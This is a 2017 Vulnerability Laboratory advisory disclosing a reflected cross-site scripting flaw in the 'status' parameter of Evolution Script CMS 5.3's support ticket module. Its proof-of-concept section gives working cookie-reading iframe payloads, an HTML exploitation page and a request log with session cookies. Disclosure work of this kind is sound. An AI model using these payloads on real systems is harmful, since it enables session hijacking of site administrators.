Evolution Script CMS 5.3 Cross Site Scripting

Evolution Script CMS version 5.3 suffers from a cross site scripting vulnerability.


MD5 | 8e827a5440910b07018aa580848f1ef6

Document Title:
===============
Evolution Script CMS v5.3 - Cross Site Scripting Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2075


Release Date:
=============
2017-06-07


Vulnerability Laboratory ID (VL-ID):
====================================
2075


Common Vulnerability Scoring System:
====================================
3.3


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500a! - 1.000a!


Product & Service Introduction:
===============================
Developed with a new improved and powerful core. Handy User interface to manage your business.
Maximum security for you and your members.

(Copy of the Homepage: https://www.evolutionscript.com/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a client-side cross site scripting vulnerability in the official Evolution Script v5.3 Content Management System.


Vulnerability Disclosure Timeline:
==================================
2017-06-07: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Evolution Script S.A.C.
Product: Evolution Script - Content Management System (Web-Application) 5.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A client-side cross site scripting vulnerability has been discovered in the official Evolution Script v5.3 Content Management System.
The issue allows remote attackers to inject script code with client-side attack vector to compromise browser to application requests.

The cross site vulnerability is located in the `status` parameter of the `Ticket Support` module. Remote attackers are able to inject
own malicious script codes via GET method request. The attack vector is non-persistent and the request method to inject is GET.
The vulnerability affects the support and administrator role in the ticket support module.

The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2.
Exploitation of the cross site vulnerability requires no privileged web-application user account and low user interaction.
Successful exploitation results in session hijacking, non-persistent phishings attacks, non-persistent external redirect
and malware loads or non-persistent manipulation of affected and connected module context.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] Support Tickets

Vulnerable Parameter(s):
[+] status

Affected Role(s):
[+] Support
[+] Admin


Proof of Concept (PoC):
=======================
The client-side cross site scripting vulnerability can be exploited by remote attackers without user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Vulnerability
http://evolutionscript.localhost:8080/admin/?view=support&do=search&ticket=100&status=[CROSS SITE SCRIPTING VULNERABILITY!]


PoC: Exploitation
<html>
<head><body>
<title>Evolution Script v5.3 - XSS PoC</title>
<img src=http://evolutionscript.localhost:8080/admin/?view=support&do=search&status=1%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C>
<img src=http://evolutionscript.localhost:8080/admin/?view=support&do=search&ticket=100&status=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C&orderby=last_update&sortby=ASC&page=1>
</body></head>
<html>


PoC: Vulnerable Source (status)
<form method="post" action="./?view=support&do=search&ticket=100&status="><iframe src="evil.source" onload="alert(document.cookie)" <&orderby="last_update&sortby=ASC&page=1"">
<table width="100%" class="widget-tbl">
<tr class="titles">
<td width="20"><input type="checkbox" id="checkall"></td>
<td><a href="./?view=support&do=search&ticket=100&status="><iframe src=evil.source onload=alert(document.cookie) <&orderby=date&sortby=DESC&page=1">Date Submitted</a></td>
<td><a href="./?view=support&do=search&ticket=100&status="><iframe src=evil.source onload=alert(document.cookie) <&orderby=ticket&sortby=DESC&page=1">Ticket ID</a></td>
<td align="center"><a href="./?view=support&do=search&ticket=100&status="><iframe src=evil.source onload=alert(document.cookie) <&orderby=department&
sortby=DESC&page=1">Department</a></td>
<td align="center"><a href="./?view=support&do=search&ticket=100&status="><iframe src=evil.source onload=alert(document.cookie) <&orderby=subject&
sortby=DESC&page=1">Subject</a></td>
<td align="center"><a href="./?view=support&do=search&ticket=100&status="><iframe src=evil.source onload=alert(document.cookie) <&orderby=name&
sortby=DESC&page=1">Submitter</a></td>
<td align="center"><a href="./?view=support&do=search&ticket=100&status="><iframe src=evil.source onload=alert(document.cookie) <&orderby=status&
sortby=DESC&page=1">Status</a></td>
<td align="center"><a href="./?view=support&do=search&ticket=100&status="><iframe src=evil.source onload=alert(document.cookie) <&orderby=last_update&
sortby=DESC&page=1">Last Update <img src="http://evolutionscript.localhost:8080/assets/evolution/images/asc.png" border=0 /></a></td>
</tr><tr>
<td colspan="10" align="center">Records not found</td>
</tr></table>


--- PoC Session Logs [POST] ---
Status: 200[OK]
GET http://evolutionscript.localhost:8080/admin/?view=support&do=search&ticket=100&status=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C&orderby=last_update&sortby=ASC&page=1
Mime Type[text/html]
Request Header:
Host[evolutionscript.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Cookie[PHPSESSID=0e8be7d6ba63212e0953619ccfeaceba; evo_c_uid=support; evo_c_pwd=434990c8a25d2be94863561ae98bd682; evo_c_tkn=6bcb30243be64768857be1ef6f312bd1]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Server[Apache]
X-Powered-By[PHP/5.6.30]
X-Mod-Pagespeed[1.11.33.4-0]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[3331]
Keep-Alive[timeout=2, max=100]
Connection[Keep-Alive]
Content-Type[text/html; charset=utf-8]


Reference(s):
http://evolutionscript.localhost:8080/
http://evolutionscript.localhost:8080/admin/


Solution - Fix & Patch:
=======================
The security vulnerability can be resolved by a parse or escape of the status parameter content.
Disallow the usage of special chars to prevent further script code injection attacks.
Parse the ticket support content list and include an own exception-handling.


Security Risk:
==============
The security risk of the cross site scripting web vulnerability in the web-application is estimated as medium (CVSS 3.3).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - (https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.

Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

Copyright A(c) 2017 | Vulnerability Laboratory - [Evolution Security GmbH]aC/



--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com


Related Posts